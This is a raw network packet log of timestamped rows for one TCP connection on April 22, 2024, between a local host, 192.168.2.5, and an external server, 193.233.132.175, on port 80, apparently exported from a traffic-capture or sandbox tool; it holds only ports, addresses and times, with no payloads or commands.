Apr 22, 2024 01:18:10.938101053 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938103914 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938138962 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938143015 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938179016 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938183069 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938219070 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938224077 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938257933 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938263893 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938298941 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938306093 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938340902 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938343048 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938379049 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938385010 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938419104 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938425064 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938457966 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938467026 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938498974 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938503027 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938539982 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938544989 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938580036 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938582897 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938618898 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938623905 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938658953 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938668966 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938704014 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938708067 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938749075 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938749075 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938788891 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938795090 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938827038 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938832998 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938865900 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938870907 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938905954 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938910007 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938945055 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.938946009 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938985109 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.938987970 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939024925 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939028025 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939064980 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939074039 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939105034 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939105988 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939145088 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939150095 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939188004 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939193964 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939228058 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939233065 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939266920 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939273119 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939306021 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939311981 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939347029 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939353943 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939388990 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939392090 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939426899 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939433098 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939467907 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939481020 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939507008 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939511061 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939547062 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939548016 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939587116 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939588070 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939625978 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939629078 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939665079 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939667940 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939703941 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939709902 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939742088 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939752102 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939781904 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939786911 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939822912 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939827919 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939862967 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939866066 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939902067 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939907074 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939940929 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939946890 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.939981937 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.939984083 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940020084 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940026999 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940062046 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940063000 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940107107 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940129995 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940171957 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940176964 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940212011 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940251112 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940258980 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940290928 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940304995 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940304995 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940331936 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940340996 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940371990 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940377951 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940412045 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940418959 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940450907 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940455914 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940493107 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940498114 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940534115 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940541029 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940573931 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940581083 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940613985 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940623045 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940654993 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940665007 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940696001 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940699100 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940735102 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940742016 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940777063 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940783024 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940815926 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940829039 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940854073 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940859079 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940896034 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940903902 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940933943 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940937042 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.940973043 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.940979004 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.941013098 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.941018105 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.941051960 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.941056967 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.941096067 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.941099882 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.941148043 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.941154003 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.941189051 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.941194057 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.941230059 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:10.941235065 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:10.941274881 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.115462065 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.115627050 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.133100986 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.133178949 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.149315119 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.149379969 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.149389029 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.149420977 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.149425030 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.149461031 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.149465084 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.149502039 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.149504900 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.149543047 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.149549007 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.149589062 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.192821026 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.192882061 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.192888021 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.192923069 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.192934990 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.192965031 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.192965984 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193088055 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193149090 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193186998 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193195105 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193227053 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193252087 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193264961 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193281889 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193304062 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193315029 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193342924 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193350077 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193382025 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193388939 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193420887 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193422079 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193459034 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193465948 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193496943 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193500996 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193536043 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193541050 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193576097 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193614006 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193641901 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193641901 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193658113 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193671942 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193712950 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193721056 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193752050 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193756104 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193790913 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193793058 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193830967 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193835020 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193875074 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193888903 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193912983 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193924904 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193954945 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.193960905 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.193993092 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194031000 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194063902 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194063902 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194070101 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194073915 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194108963 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194113016 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194147110 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194173098 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194185019 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194194078 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194222927 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194228888 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194262028 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194267035 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194302082 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194305897 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194343090 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194344044 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194381952 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194386959 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194421053 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194426060 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194458961 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194464922 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194498062 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194504976 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194538116 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194541931 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194576979 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194577932 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194616079 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194621086 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194653988 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194659948 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194694042 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194700003 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194734097 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194739103 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194777012 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194802046 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194816113 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194820881 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194854975 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194864988 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194894075 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194943905 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194981098 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.194998026 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194998026 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.194998026 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195019007 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195020914 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195059061 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195079088 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195100069 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195111036 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195141077 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195143938 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195179939 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195185900 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195219040 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195224047 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195256948 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195262909 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195296049 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195300102 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195333958 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195333958 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195374012 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195411921 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195430994 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195430994 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195449114 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195453882 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195487976 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195491076 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195527077 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195533037 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195566893 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195569992 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195605993 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195610046 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195645094 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195652008 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195686102 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195689917 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195727110 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195730925 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195766926 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195772886 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195806980 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195847988 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195869923 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195875883 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195875883 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195908070 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195935965 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.195947886 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195985079 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.195998907 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.196012974 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.196024895 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.196038961 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.196064949 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.196069002 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.196110010 CEST	49710	80	192.168.2.5	193.233.132.175
Apr 22, 2024 01:18:11.196131945 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.196171999 CEST	80	49710	193.233.132.175	192.168.2.5
Apr 22, 2024 01:18:11.196178913 CEST	49710	80	192.168.2.5	193.233.132.175
